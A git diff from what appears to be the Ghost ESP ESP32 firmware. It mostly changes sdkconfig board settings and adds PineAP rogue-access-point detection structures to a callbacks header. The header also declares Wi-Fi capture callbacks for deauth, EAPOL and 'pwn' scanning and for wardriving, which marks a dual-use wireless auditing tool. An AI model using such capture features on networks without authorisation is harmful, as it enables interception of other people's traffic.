+CONFIG_LV_TOUCH_SPI_CS=33 +CONFIG_LV_TOUCH_PIN_IRQ=36 +# end of Touchpanel (XPT2046) Pin Assignments + +# +# Touchpanel Configuration (XPT2046) +# +CONFIG_LV_TOUCH_X_MIN=200 +CONFIG_LV_TOUCH_Y_MIN=120 +CONFIG_LV_TOUCH_X_MAX=1900 +CONFIG_LV_TOUCH_Y_MAX=1900 +CONFIG_LV_TOUCH_XY_SWAP=y +CONFIG_LV_TOUCH_INVERT_X=y +# CONFIG_LV_TOUCH_INVERT_Y is not set +# CONFIG_USE_BIT_BANG_TOUCH is not set +# CONFIG_LV_TOUCH_DETECT_IRQ is not set +CONFIG_LV_TOUCH_DETECT_IRQ_PRESSURE=y +# CONFIG_LV_TOUCH_DETECT_PRESSURE is not set +# end of Touchpanel Configuration (XPT2046) + +CONFIG_LV_I2C_TOUCH_PORT=0 +# end of LVGL Touch controller +# end of LVGL ESP Drivers + +# +# mDNS +# +CONFIG_MDNS_MAX_INTERFACES=3 +CONFIG_MDNS_MAX_SERVICES=10 +CONFIG_MDNS_TASK_PRIORITY=1 +CONFIG_MDNS_ACTION_QUEUE_LEN=16 +CONFIG_MDNS_TASK_STACK_SIZE=4096 +# CONFIG_MDNS_TASK_AFFINITY_NO_AFFINITY is not set +CONFIG_MDNS_TASK_AFFINITY_CPU0=y +CONFIG_MDNS_TASK_AFFINITY=0x0 +CONFIG_MDNS_SERVICE_ADD_TIMEOUT_MS=2000 +CONFIG_MDNS_TIMER_PERIOD_MS=100 +# CONFIG_MDNS_NETWORKING_SOCKET is not set +# CONFIG_MDNS_SKIP_SUPPRESSING_OWN_QUERIES is not set +# CONFIG_MDNS_ENABLE_DEBUG_PRINTS is not set +CONFIG_MDNS_ENABLE_CONSOLE_CLI=y +# CONFIG_MDNS_RESPOND_REVERSE_QUERIES is not set +CONFIG_MDNS_MULTIPLE_INSTANCE=y + +# +# MDNS Predefined interfaces +# +CONFIG_MDNS_PREDEF_NETIF_STA=y +CONFIG_MDNS_PREDEF_NETIF_AP=y +CONFIG_MDNS_PREDEF_NETIF_ETH=y +# end of MDNS Predefined interfaces +# end of mDNS +# end of Component config + +# CONFIG_IDF_EXPERIMENTAL_FEATURES is not set + +# Deprecated options for backward compatibility +# CONFIG_APP_BUILD_TYPE_ELF_RAM is not set +# CONFIG_NO_BLOBS is not set +# CONFIG_ESP32_NO_BLOBS is not set +# CONFIG_ESP32_COMPATIBLE_PRE_V2_1_BOOTLOADERS is not set +# CONFIG_ESP32_COMPATIBLE_PRE_V3_1_BOOTLOADERS is not set +# CONFIG_LOG_BOOTLOADER_LEVEL_NONE is not set +# CONFIG_LOG_BOOTLOADER_LEVEL_ERROR is not set +CONFIG_LOG_BOOTLOADER_LEVEL_WARN=y +# CONFIG_LOG_BOOTLOADER_LEVEL_INFO is not set +# CONFIG_LOG_BOOTLOADER_LEVEL_DEBUG is not set +# CONFIG_LOG_BOOTLOADER_LEVEL_VERBOSE is not set +CONFIG_LOG_BOOTLOADER_LEVEL=2 +# CONFIG_APP_ROLLBACK_ENABLE is not set +# CONFIG_FLASH_ENCRYPTION_ENABLED is not set +# CONFIG_FLASHMODE_QIO is not set +# CONFIG_FLASHMODE_QOUT is not set +CONFIG_FLASHMODE_DIO=y +# CONFIG_FLASHMODE_DOUT is not set +CONFIG_MONITOR_BAUD=115200 +# CONFIG_OPTIMIZATION_LEVEL_DEBUG is not set +# CONFIG_COMPILER_OPTIMIZATION_LEVEL_DEBUG is not set +# CONFIG_COMPILER_OPTIMIZATION_DEFAULT is not set +CONFIG_OPTIMIZATION_LEVEL_RELEASE=y +CONFIG_COMPILER_OPTIMIZATION_LEVEL_RELEASE=y +CONFIG_OPTIMIZATION_ASSERTIONS_ENABLED=y +# CONFIG_OPTIMIZATION_ASSERTIONS_SILENT is not set +# CONFIG_OPTIMIZATION_ASSERTIONS_DISABLED is not set +CONFIG_OPTIMIZATION_ASSERTION_LEVEL=2 +# CONFIG_CXX_EXCEPTIONS is not set +CONFIG_STACK_CHECK_NONE=y +# CONFIG_STACK_CHECK_NORM is not set +# CONFIG_STACK_CHECK_STRONG is not set +# CONFIG_STACK_CHECK_ALL is not set +# CONFIG_WARN_WRITE_STRINGS is not set +# CONFIG_ESP32_APPTRACE_DEST_TRAX is not set +CONFIG_ESP32_APPTRACE_DEST_NONE=y +CONFIG_ESP32_APPTRACE_LOCK_ENABLE=y +# CONFIG_BLUEDROID_ENABLED is not set +CONFIG_NIMBLE_ENABLED=y +CONFIG_NIMBLE_MEM_ALLOC_MODE_INTERNAL=y +# CONFIG_NIMBLE_MEM_ALLOC_MODE_DEFAULT is not set +CONFIG_NIMBLE_MAX_CONNECTIONS=3 +CONFIG_NIMBLE_MAX_BONDS=3 +CONFIG_NIMBLE_MAX_CCCDS=8 +CONFIG_NIMBLE_L2CAP_COC_MAX_NUM=0 +CONFIG_NIMBLE_PINNED_TO_CORE=0 +CONFIG_NIMBLE_TASK_STACK_SIZE=4096 +CONFIG_BT_NIMBLE_TASK_STACK_SIZE=4096 +CONFIG_NIMBLE_ROLE_CENTRAL=y +CONFIG_NIMBLE_ROLE_PERIPHERAL=y +CONFIG_NIMBLE_ROLE_BROADCASTER=y +CONFIG_NIMBLE_ROLE_OBSERVER=y +# CONFIG_NIMBLE_NVS_PERSIST is not set +CONFIG_NIMBLE_SM_LEGACY=y +CONFIG_NIMBLE_SM_SC=y +# CONFIG_NIMBLE_SM_SC_DEBUG_KEYS is not set +CONFIG_BT_NIMBLE_SM_SC_LVL=0 +# CONFIG_NIMBLE_DEBUG is not set +CONFIG_NIMBLE_SVC_GAP_DEVICE_NAME="nimble" +CONFIG_NIMBLE_GAP_DEVICE_NAME_MAX_LEN=31 +CONFIG_NIMBLE_ATT_PREFERRED_MTU=256 +CONFIG_NIMBLE_SVC_GAP_APPEARANCE=0 +CONFIG_BT_NIMBLE_MSYS1_BLOCK_COUNT=12 +CONFIG_BT_NIMBLE_ACL_BUF_COUNT=24 +CONFIG_BT_NIMBLE_ACL_BUF_SIZE=255 +CONFIG_BT_NIMBLE_HCI_EVT_BUF_SIZE=70 +CONFIG_BT_NIMBLE_HCI_EVT_HI_BUF_COUNT=30 +CONFIG_BT_NIMBLE_HCI_EVT_LO_BUF_COUNT=8 +CONFIG_NIMBLE_HS_FLOW_CTRL=y +CONFIG_NIMBLE_HS_FLOW_CTRL_ITVL=1000 +CONFIG_NIMBLE_HS_FLOW_CTRL_THRESH=2 +CONFIG_NIMBLE_HS_FLOW_CTRL_TX_ON_DISCONNECT=y +CONFIG_NIMBLE_RPA_TIMEOUT=900 +# CONFIG_NIMBLE_MESH is not set +CONFIG_NIMBLE_CRYPTO_STACK_MBEDTLS=y +CONFIG_BTDM_CONTROLLER_MODE_BLE_ONLY=y +# CONFIG_BTDM_CONTROLLER_MODE_BR_EDR_ONLY is not set +# CONFIG_BTDM_CONTROLLER_MODE_BTDM is not set +CONFIG_BTDM_CONTROLLER_BLE_MAX_CONN=3 +CONFIG_BTDM_CONTROLLER_BLE_MAX_CONN_EFF=3 +CONFIG_BTDM_CONTROLLER_BR_EDR_MAX_ACL_CONN_EFF=0 +CONFIG_BTDM_CONTROLLER_BR_EDR_MAX_SYNC_CONN_EFF=0 +CONFIG_BTDM_CONTROLLER_PINNED_TO_CORE=0 +CONFIG_BTDM_CONTROLLER_HCI_MODE_VHCI=y +# CONFIG_BTDM_CONTROLLER_HCI_MODE_UART_H4 is not set +CONFIG_BTDM_CONTROLLER_MODEM_SLEEP=y +CONFIG_BLE_SCAN_DUPLICATE=y +CONFIG_SCAN_DUPLICATE_BY_DEVICE_ADDR=y +# CONFIG_SCAN_DUPLICATE_BY_ADV_DATA is not set +# CONFIG_SCAN_DUPLICATE_BY_ADV_DATA_AND_DEVICE_ADDR is not set +CONFIG_SCAN_DUPLICATE_TYPE=0 +CONFIG_DUPLICATE_SCAN_CACHE_SIZE=100 +# CONFIG_BLE_MESH_SCAN_DUPLICATE_EN is not set +CONFIG_BTDM_CONTROLLER_FULL_SCAN_SUPPORTED=y +CONFIG_BLE_ADV_REPORT_FLOW_CONTROL_SUPPORTED=y +CONFIG_BLE_ADV_REPORT_FLOW_CONTROL_NUM=100 +CONFIG_BLE_ADV_REPORT_DISCARD_THRSHOLD=20 +CONFIG_ADC2_DISABLE_DAC=y +CONFIG_SW_COEXIST_ENABLE=y +CONFIG_ESP32_WIFI_SW_COEXIST_ENABLE=y +CONFIG_ESP_WIFI_SW_COEXIST_ENABLE=y +# CONFIG_MCPWM_ISR_IN_IRAM is not set +# CONFIG_EVENT_LOOP_PROFILING is not set +CONFIG_POST_EVENTS_FROM_ISR=y +CONFIG_POST_EVENTS_FROM_IRAM_ISR=y +CONFIG_GDBSTUB_SUPPORT_TASKS=y +CONFIG_GDBSTUB_MAX_TASKS=32 +# CONFIG_OTA_ALLOW_HTTP is not set +# CONFIG_TWO_UNIVERSAL_MAC_ADDRESS is not set +CONFIG_FOUR_UNIVERSAL_MAC_ADDRESS=y +CONFIG_NUMBER_OF_UNIVERSAL_MAC_ADDRESS=4 +# CONFIG_ESP_SYSTEM_PD_FLASH is not set +CONFIG_ESP32_DEEP_SLEEP_WAKEUP_DELAY=0 +CONFIG_ESP_SLEEP_DEEP_SLEEP_WAKEUP_DELAY=0 +CONFIG_ESP32_RTC_CLK_SRC_INT_RC=y +CONFIG_ESP32_RTC_CLOCK_SOURCE_INTERNAL_RC=y +# CONFIG_ESP32_RTC_CLK_SRC_EXT_CRYS is not set +# CONFIG_ESP32_RTC_CLOCK_SOURCE_EXTERNAL_CRYSTAL is not set +# CONFIG_ESP32_RTC_CLK_SRC_EXT_OSC is not set +# CONFIG_ESP32_RTC_CLOCK_SOURCE_EXTERNAL_OSC is not set +# CONFIG_ESP32_RTC_CLK_SRC_INT_8MD256 is not set +# CONFIG_ESP32_RTC_CLOCK_SOURCE_INTERNAL_8MD256 is not set +CONFIG_ESP32_RTC_CLK_CAL_CYCLES=1024 +# CONFIG_ESP32_XTAL_FREQ_26 is not set +CONFIG_ESP32_XTAL_FREQ_40=y +# CONFIG_ESP32_XTAL_FREQ_AUTO is not set +CONFIG_ESP32_XTAL_FREQ=40 +CONFIG_ESP32_PHY_CALIBRATION_AND_DATA_STORAGE=y +# CONFIG_ESP32_PHY_INIT_DATA_IN_PARTITION is not set +CONFIG_ESP32_PHY_MAX_WIFI_TX_POWER=20 +CONFIG_ESP32_PHY_MAX_TX_POWER=20 +# CONFIG_REDUCE_PHY_TX_POWER is not set +# CONFIG_ESP32_REDUCE_PHY_TX_POWER is not set +# CONFIG_SPIRAM_SUPPORT is not set +# CONFIG_ESP32_SPIRAM_SUPPORT is not set +# CONFIG_ESP32_DEFAULT_CPU_FREQ_80 is not set +CONFIG_ESP32_DEFAULT_CPU_FREQ_160=y +# CONFIG_ESP32_DEFAULT_CPU_FREQ_240 is not set +CONFIG_ESP32_DEFAULT_CPU_FREQ_MHZ=160 +CONFIG_TRACEMEM_RESERVE_DRAM=0x0 +# CONFIG_ESP32_PANIC_PRINT_HALT is not set +CONFIG_ESP32_PANIC_PRINT_REBOOT=y +# CONFIG_ESP32_PANIC_SILENT_REBOOT is not set +# CONFIG_ESP32_PANIC_GDBSTUB is not set +CONFIG_ESP32_ALLOW_RTC_FAST_MEM_AS_HEAP=y +CONFIG_SYSTEM_EVENT_QUEUE_SIZE=32 +CONFIG_SYSTEM_EVENT_TASK_STACK_SIZE=2304 +CONFIG_MAIN_TASK_STACK_SIZE=3584 +CONFIG_CONSOLE_UART_DEFAULT=y +# CONFIG_CONSOLE_UART_CUSTOM is not set +# CONFIG_CONSOLE_UART_NONE is not set +# CONFIG_ESP_CONSOLE_UART_NONE is not set +CONFIG_CONSOLE_UART=y +CONFIG_CONSOLE_UART_NUM=0 +CONFIG_CONSOLE_UART_BAUDRATE=115200 +CONFIG_INT_WDT=y +CONFIG_INT_WDT_TIMEOUT_MS=300 +CONFIG_TASK_WDT=y +CONFIG_ESP_TASK_WDT=y +# CONFIG_TASK_WDT_PANIC is not set +CONFIG_TASK_WDT_TIMEOUT_S=5 +CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU0=y +# CONFIG_ESP32_DEBUG_STUBS_ENABLE is not set +CONFIG_ESP32_DEBUG_OCDAWARE=y +CONFIG_BROWNOUT_DET=y +CONFIG_ESP32_BROWNOUT_DET=y +# CONFIG_BROWNOUT_DET_LVL_SEL_0 is not set +# CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_0 is not set +# CONFIG_BROWNOUT_DET_LVL_SEL_1 is not set +# CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_1 is not set +# CONFIG_BROWNOUT_DET_LVL_SEL_2 is not set +# CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_2 is not set +# CONFIG_BROWNOUT_DET_LVL_SEL_3 is not set +# CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_3 is not set +# CONFIG_BROWNOUT_DET_LVL_SEL_4 is not set +# CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_4 is not set +# CONFIG_BROWNOUT_DET_LVL_SEL_5 is not set +# CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_5 is not set +# CONFIG_BROWNOUT_DET_LVL_SEL_6 is not set +# CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_6 is not set +CONFIG_BROWNOUT_DET_LVL_SEL_7=y +CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_7=y +CONFIG_BROWNOUT_DET_LVL=7 +CONFIG_ESP32_BROWNOUT_DET_LVL=7 +# CONFIG_DISABLE_BASIC_ROM_CONSOLE is not set +CONFIG_IPC_TASK_STACK_SIZE=1024 +CONFIG_TIMER_TASK_STACK_SIZE=3584 +CONFIG_ESP32_WIFI_ENABLED=y +CONFIG_ESP32_WIFI_STATIC_RX_BUFFER_NUM=10 +CONFIG_ESP32_WIFI_DYNAMIC_RX_BUFFER_NUM=32 +# CONFIG_ESP32_WIFI_STATIC_TX_BUFFER is not set +CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER=y +CONFIG_ESP32_WIFI_TX_BUFFER_TYPE=1 +CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER_NUM=32 +# CONFIG_ESP32_WIFI_CSI_ENABLED is not set +CONFIG_ESP32_WIFI_AMPDU_TX_ENABLED=y +CONFIG_ESP32_WIFI_TX_BA_WIN=6 +CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED=y +CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED=y +CONFIG_ESP32_WIFI_RX_BA_WIN=6 +CONFIG_ESP32_WIFI_RX_BA_WIN=6 +CONFIG_ESP32_WIFI_NVS_ENABLED=y +CONFIG_ESP32_WIFI_SOFTAP_BEACON_MAX_LEN=752 +CONFIG_ESP32_WIFI_MGMT_SBUF_NUM=32 +CONFIG_ESP32_WIFI_IRAM_OPT=y +CONFIG_ESP32_WIFI_RX_IRAM_OPT=y +CONFIG_ESP32_WIFI_ENABLE_WPA3_SAE=y +CONFIG_ESP32_WIFI_ENABLE_WPA3_OWE_STA=y +CONFIG_WPA_MBEDTLS_CRYPTO=y +CONFIG_WPA_MBEDTLS_TLS_CLIENT=y +# CONFIG_WPA_WAPI_PSK is not set +# CONFIG_WPA_11KV_SUPPORT is not set +# CONFIG_WPA_MBO_SUPPORT is not set +# CONFIG_WPA_DPP_SUPPORT is not set +# CONFIG_WPA_11R_SUPPORT is not set +# CONFIG_WPA_WPS_SOFTAP_REGISTRAR is not set +# CONFIG_WPA_WPS_STRICT is not set +# CONFIG_WPA_DEBUG_PRINT is not set +# CONFIG_WPA_TESTING_OPTIONS is not set +# CONFIG_ESP32_ENABLE_COREDUMP_TO_FLASH is not set +# CONFIG_ESP32_ENABLE_COREDUMP_TO_UART is not set +CONFIG_ESP32_ENABLE_COREDUMP_TO_NONE=y +CONFIG_TIMER_TASK_PRIORITY=1 +CONFIG_TIMER_TASK_STACK_DEPTH=2048 +CONFIG_TIMER_QUEUE_LENGTH=10 +# CONFIG_ENABLE_STATIC_TASK_CLEAN_UP_HOOK is not set +# CONFIG_HAL_ASSERTION_SILIENT is not set +# CONFIG_L2_TO_L3_COPY is not set +CONFIG_ESP_GRATUITOUS_ARP=y +CONFIG_GARP_TMR_INTERVAL=60 +CONFIG_TCPIP_RECVMBOX_SIZE=32 +CONFIG_TCP_MAXRTX=12 +CONFIG_TCP_SYNMAXRTX=12 +CONFIG_TCP_MSS=1440 +CONFIG_TCP_MSL=60000 +CONFIG_TCP_SND_BUF_DEFAULT=5760 +CONFIG_TCP_WND_DEFAULT=5760 +CONFIG_TCP_RECVMBOX_SIZE=6 +CONFIG_TCP_QUEUE_OOSEQ=y +CONFIG_TCP_OVERSIZE_MSS=y +# CONFIG_TCP_OVERSIZE_QUARTER_MSS is not set +# CONFIG_TCP_OVERSIZE_DISABLE is not set +CONFIG_UDP_RECVMBOX_SIZE=6 +CONFIG_TCPIP_TASK_STACK_SIZE=3072 +CONFIG_TCPIP_TASK_AFFINITY_NO_AFFINITY=y +# CONFIG_TCPIP_TASK_AFFINITY_CPU0 is not set +CONFIG_TCPIP_TASK_AFFINITY=0x7FFFFFFF +# CONFIG_PPP_SUPPORT is not set +CONFIG_ESP32_TIME_SYSCALL_USE_RTC_HRT=y +CONFIG_ESP32_TIME_SYSCALL_USE_RTC_FRC1=y +# CONFIG_ESP32_TIME_SYSCALL_USE_RTC is not set +# CONFIG_ESP32_TIME_SYSCALL_USE_HRT is not set +# CONFIG_ESP32_TIME_SYSCALL_USE_FRC1 is not set +# CONFIG_ESP32_TIME_SYSCALL_USE_NONE is not set +CONFIG_ESP32_PTHREAD_TASK_PRIO_DEFAULT=5 +CONFIG_ESP32_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 +CONFIG_ESP32_PTHREAD_STACK_MIN=768 +CONFIG_ESP32_PTHREAD_TASK_CORE_DEFAULT=-1 +CONFIG_ESP32_PTHREAD_TASK_NAME_DEFAULT="pthread" +CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ABORTS=y +# CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_FAILS is not set +# CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ALLOWED is not set +# CONFIG_ESP32_ULP_COPROC_ENABLED is not set +CONFIG_SUPPRESS_SELECT_DEBUG_OUTPUT=y +CONFIG_SUPPORT_TERMIOS=y +CONFIG_SEMIHOSTFS_MAX_MOUNT_POINTS=1 +# End of deprecated options diff --git a/configs/sdkconfig.JC3248W535EN b/configs/sdkconfig.JC3248W535EN index f6799658..6cfdd8aa 100644 --- a/configs/sdkconfig.JC3248W535EN +++ b/configs/sdkconfig.JC3248W535EN @@ -546,8 +546,8 @@ CONFIG_BLUE_RGB_PIN=0 # Display Options # CONFIG_WITH_SCREEN=y -CONFIG_TFT_WIDTH=320 -CONFIG_TFT_HEIGHT=480 +CONFIG_TFT_WIDTH=480 +CONFIG_TFT_HEIGHT=320 CONFIG_USE_TOUCHSCREEN=y # CONFIG_USE_JOYSTICK is not set # CONFIG_USE_CARDPUTER is not set diff --git a/configs/sdkconfig.waveshare7inch b/configs/sdkconfig.waveshare7inch index 692b3058..b466732f 100644 --- a/configs/sdkconfig.waveshare7inch +++ b/configs/sdkconfig.waveshare7inch @@ -528,6 +528,74 @@ CONFIG_PARTITION_TABLE_OFFSET=0x8000 CONFIG_PARTITION_TABLE_MD5=y # end of Partition Table +# +# Ghost ESP Options +# + +# +# LED Options +# +# CONFIG_USE_NEOPIXEL is not set +CONFIG_NUM_LEDS=0 +CONFIG_RED_RGB_PIN=0 +CONFIG_GREEN_RGB_PIN=0 +CONFIG_BLUE_RGB_PIN=0 +# end of LED Options + +# +# Display Options +# +CONFIG_WITH_SCREEN=y +CONFIG_TFT_WIDTH=800 +CONFIG_TFT_HEIGHT=480 +CONFIG_USE_TOUCHSCREEN=y +# CONFIG_USE_JOYSTICK is not set +# CONFIG_USE_CARDPUTER is not set +CONFIG_USE_7_INCHER=y +CONFIG_Waveshare_LCD=y +# CONFIG_Crowtech_LCD is not set +# CONFIG_Sunton_LCD is not set +# CONFIG_JC3248W535EN_LCD is not set +# CONFIG_USE_ILI9341_2 is not set +# end of Display Options + +# +# Misc Options +# +# CONFIG_HAS_BATTERY is not set +# CONFIG_HAS_RTC_CLOCK is not set +# CONFIG_WITH_ETHERNET is not set +# CONFIG_IS_GHOST_BOARD is not set +# end of Misc Options + +# +# GPS Configuration +# +# CONFIG_HAS_GPS is not set + +# +# NMEA Statement Support +# + +# +# At least one statement must be selected +# +# end of NMEA Statement Support +# end of GPS Configuration + +# +# SPI and MMC Configuration +# +CONFIG_USING_SPI=y +# CONFIG_USING_MMC is not set +# CONFIG_USING_MMC_1_BIT is not set +CONFIG_SD_SPI_CS_PIN=4 +CONFIG_SD_SPI_CLK_PIN=12 +CONFIG_SD_SPI_MISO_PIN=13 +CONFIG_SD_SPI_MOSI_PIN=11 +# end of SPI and MMC Configuration +# end of Ghost ESP Options + # # Compiler options # @@ -588,8 +656,8 @@ CONFIG_BT_CONTROLLER_ENABLED=y # # NimBLE Options # -CONFIG_BT_NIMBLE_MEM_ALLOC_MODE_INTERNAL=y -# CONFIG_BT_NIMBLE_MEM_ALLOC_MODE_EXTERNAL is not set +# CONFIG_BT_NIMBLE_MEM_ALLOC_MODE_INTERNAL is not set +CONFIG_BT_NIMBLE_MEM_ALLOC_MODE_EXTERNAL=y # CONFIG_BT_NIMBLE_MEM_ALLOC_MODE_DEFAULT is not set # CONFIG_BT_NIMBLE_LOG_LEVEL_NONE is not set # CONFIG_BT_NIMBLE_LOG_LEVEL_ERROR is not set @@ -1620,6 +1688,7 @@ CONFIG_LOG_DEFAULT_LEVEL_WARN=y # CONFIG_LOG_DEFAULT_LEVEL_VERBOSE is not set CONFIG_LOG_DEFAULT_LEVEL=2 CONFIG_LOG_MAXIMUM_EQUALS_DEFAULT=y +# CONFIG_LOG_MAXIMUM_LEVEL_INFO is not set # CONFIG_LOG_MAXIMUM_LEVEL_DEBUG is not set # CONFIG_LOG_MAXIMUM_LEVEL_VERBOSE is not set CONFIG_LOG_MAXIMUM_LEVEL=2 @@ -2234,60 +2303,6 @@ CONFIG_WIFI_PROV_STA_ALL_CHANNEL_SCAN=y # CONFIG_WIFI_PROV_STA_FAST_SCAN is not set # end of Wi-Fi Provisioning Manager -# -# Ghost ESP Options -# - -# -# LED Options -# -# CONFIG_USE_NEOPIXEL is not set -CONFIG_NUM_LEDS=0 -CONFIG_RED_RGB_PIN=0 -CONFIG_GREEN_RGB_PIN=0 -CONFIG_BLUE_RGB_PIN=0 -# end of LED Options - -# -# Display Options -# -CONFIG_WITH_SCREEN=y -CONFIG_TFT_WIDTH=800 -CONFIG_TFT_HEIGHT=480 -CONFIG_USE_TOUCHSCREEN=y -# CONFIG_USE_JOYSTICK is not set -# CONFIG_USE_CARDPUTER is not set -CONFIG_USE_7_INCHER=y -CONFIG_Waveshare_LCD=y -# CONFIG_Crowtech_LCD is not set -# CONFIG_Sunton_LCD is not set -# CONFIG_USE_ILI9341_2 is not set -# end of Display Options - -# -# Ghost Board Config -# -# CONFIG_IS_GHOST_BOARD is not set -# end of Ghost Board Config - -# -# GPS Configuration -# -# CONFIG_HAS_GPS is not set -# end of GPS Configuration - -# -# SPI and MMC Configuration -# -CONFIG_USING_SPI=y -# CONFIG_USING_MMC is not set -CONFIG_SD_SPI_CS_PIN=4 -CONFIG_SD_SPI_CLK_PIN=12 -CONFIG_SD_SPI_MISO_PIN=13 -CONFIG_SD_SPI_MOSI_PIN=11 -# end of SPI and MMC Configuration -# end of Ghost ESP Options - # # LVGL configuration # @@ -2712,6 +2727,7 @@ CONFIG_LV_TOUCH_CONTROLLER=7 # CONFIG_LV_TOUCH_CONTROLLER_FT81X is not set # CONFIG_LV_TOUCH_CONTROLLER_RA8875 is not set CONFIG_LV_TOUCH_CONTROLLER_GT911=y +# CONFIG_LV_TOUCH_CONTROLLER_CST820 is not set CONFIG_LV_I2C_TOUCH=y # @@ -2779,6 +2795,24 @@ CONFIG_MDNS_PREDEF_NETIF_AP=y CONFIG_MDNS_PREDEF_NETIF_ETH=y # end of MDNS Predefined interfaces # end of mDNS + +# +# CMake Utilities +# +# CONFIG_CU_RELINKER_ENABLE is not set +# CONFIG_CU_DIAGNOSTICS_COLOR_NEVER is not set +CONFIG_CU_DIAGNOSTICS_COLOR_ALWAYS=y +# CONFIG_CU_DIAGNOSTICS_COLOR_AUTO is not set +# CONFIG_CU_GCC_LTO_ENABLE is not set +# CONFIG_CU_GCC_STRING_1BYTE_ALIGN is not set +# end of CMake Utilities + +# +# ESP LCD TOUCH +# +CONFIG_ESP_LCD_TOUCH_MAX_POINTS=5 +CONFIG_ESP_LCD_TOUCH_MAX_BUTTONS=1 +# end of ESP LCD TOUCH # end of Component config CONFIG_IDF_EXPERIMENTAL_FEATURES=y @@ -2788,11 +2822,11 @@ CONFIG_IDF_EXPERIMENTAL_FEATURES=y # CONFIG_NO_BLOBS is not set # CONFIG_LOG_BOOTLOADER_LEVEL_NONE is not set # CONFIG_LOG_BOOTLOADER_LEVEL_ERROR is not set -# CONFIG_LOG_BOOTLOADER_LEVEL_WARN is not set -CONFIG_LOG_BOOTLOADER_LEVEL_INFO=y +CONFIG_LOG_BOOTLOADER_LEVEL_WARN=y +# CONFIG_LOG_BOOTLOADER_LEVEL_INFO is not set # CONFIG_LOG_BOOTLOADER_LEVEL_DEBUG is not set # CONFIG_LOG_BOOTLOADER_LEVEL_VERBOSE is not set -CONFIG_LOG_BOOTLOADER_LEVEL=3 +CONFIG_LOG_BOOTLOADER_LEVEL=2 # CONFIG_APP_ROLLBACK_ENABLE is not set # CONFIG_FLASH_ENCRYPTION_ENABLED is not set CONFIG_FLASHMODE_QIO=y @@ -2820,8 +2854,8 @@ CONFIG_ESP32_APPTRACE_DEST_NONE=y CONFIG_ESP32_APPTRACE_LOCK_ENABLE=y # CONFIG_BLUEDROID_ENABLED is not set CONFIG_NIMBLE_ENABLED=y -CONFIG_NIMBLE_MEM_ALLOC_MODE_INTERNAL=y -# CONFIG_NIMBLE_MEM_ALLOC_MODE_EXTERNAL is not set +# CONFIG_NIMBLE_MEM_ALLOC_MODE_INTERNAL is not set +CONFIG_NIMBLE_MEM_ALLOC_MODE_EXTERNAL=y # CONFIG_NIMBLE_MEM_ALLOC_MODE_DEFAULT is not set CONFIG_NIMBLE_MAX_CONNECTIONS=3 CONFIG_NIMBLE_MAX_BONDS=3 @@ -3005,4 +3039,4 @@ CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ABORTS=y CONFIG_SUPPRESS_SELECT_DEBUG_OUTPUT=y CONFIG_SUPPORT_TERMIOS=y CONFIG_SEMIHOSTFS_MAX_MOUNT_POINTS=1 -# End of deprecated options \ No newline at end of file +# End of deprecated options diff --git a/dependencies.lock b/dependencies.lock index c58d9ec0..b438cc41 100644 --- a/dependencies.lock +++ b/dependencies.lock @@ -48,5 +48,5 @@ direct_dependencies: - espressif/esp_lcd_axs15231b - idf manifest_hash: ff817fc280f015bca9d71c816c393634a501cf5849e39e409281527a1e3b60d4 -target: esp32s3 +target: esp32 version: 2.0.0 diff --git a/include/core/callbacks.h b/include/core/callbacks.h index 0c746542..59efab7f 100644 --- a/include/core/callbacks.h +++ b/include/core/callbacks.h @@ -1,36 +1,77 @@ #ifndef CALLBACKS_H #define CALLBACKS_H #include "esp_wifi_types.h" -#include +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" #include "vendor/GPS/MicroNMEA.h" -// nimble +#include +#include +// nimble #ifndef CONFIG_IDF_TARGET_ESP32S2 #include "host/ble_gap.h" #endif + +#define MAX_PINEAP_NETWORKS 50 +#define MAX_SSIDS_PER_BSSID 10 +#define RECENT_SSID_COUNT 5 + +// PineAP detection structures +typedef struct { + uint8_t bssid[6]; + uint8_t ssid_count; + bool is_pineap; + time_t first_seen; + uint32_t ssid_hashes[MAX_SSIDS_PER_BSSID]; + // Circular buffer for recent SSIDs + char recent_ssids[RECENT_SSID_COUNT][33]; + uint8_t recent_ssid_index; + TaskHandle_t log_task_handle; + int8_t last_channel; + int8_t last_rssi; +} pineap_network_t; + +// Structure for passing data to logging task +typedef struct { + uint8_t bssid[6]; + char recent_ssids[RECENT_SSID_COUNT][33]; + int ssid_count; + int8_t channel; + int8_t rssi; + struct pineap_network_t *network; // Add network pointer +} pineap_log_data_t; + +// PineAP detection control functions +void start_pineap_detection(void); +void stop_pineap_detection(void); + +// Forward declarations of callback functions +void wifi_pineap_detector_callback(void *buf, wifi_promiscuous_pkt_type_t type); void wifi_wps_detection_callback(void *buf, wifi_promiscuous_pkt_type_t type); -void wifi_beacon_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type); -void wifi_deauth_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type); -void wifi_pwn_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type); -void wifi_probe_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type); -void wifi_raw_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type); -void wifi_eapol_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type); +void wifi_beacon_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type); +void wifi_deauth_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type); +void wifi_pwn_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type); +void wifi_probe_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type); +void wifi_raw_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type); +void wifi_eapol_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type); void wardriving_scan_callback(void 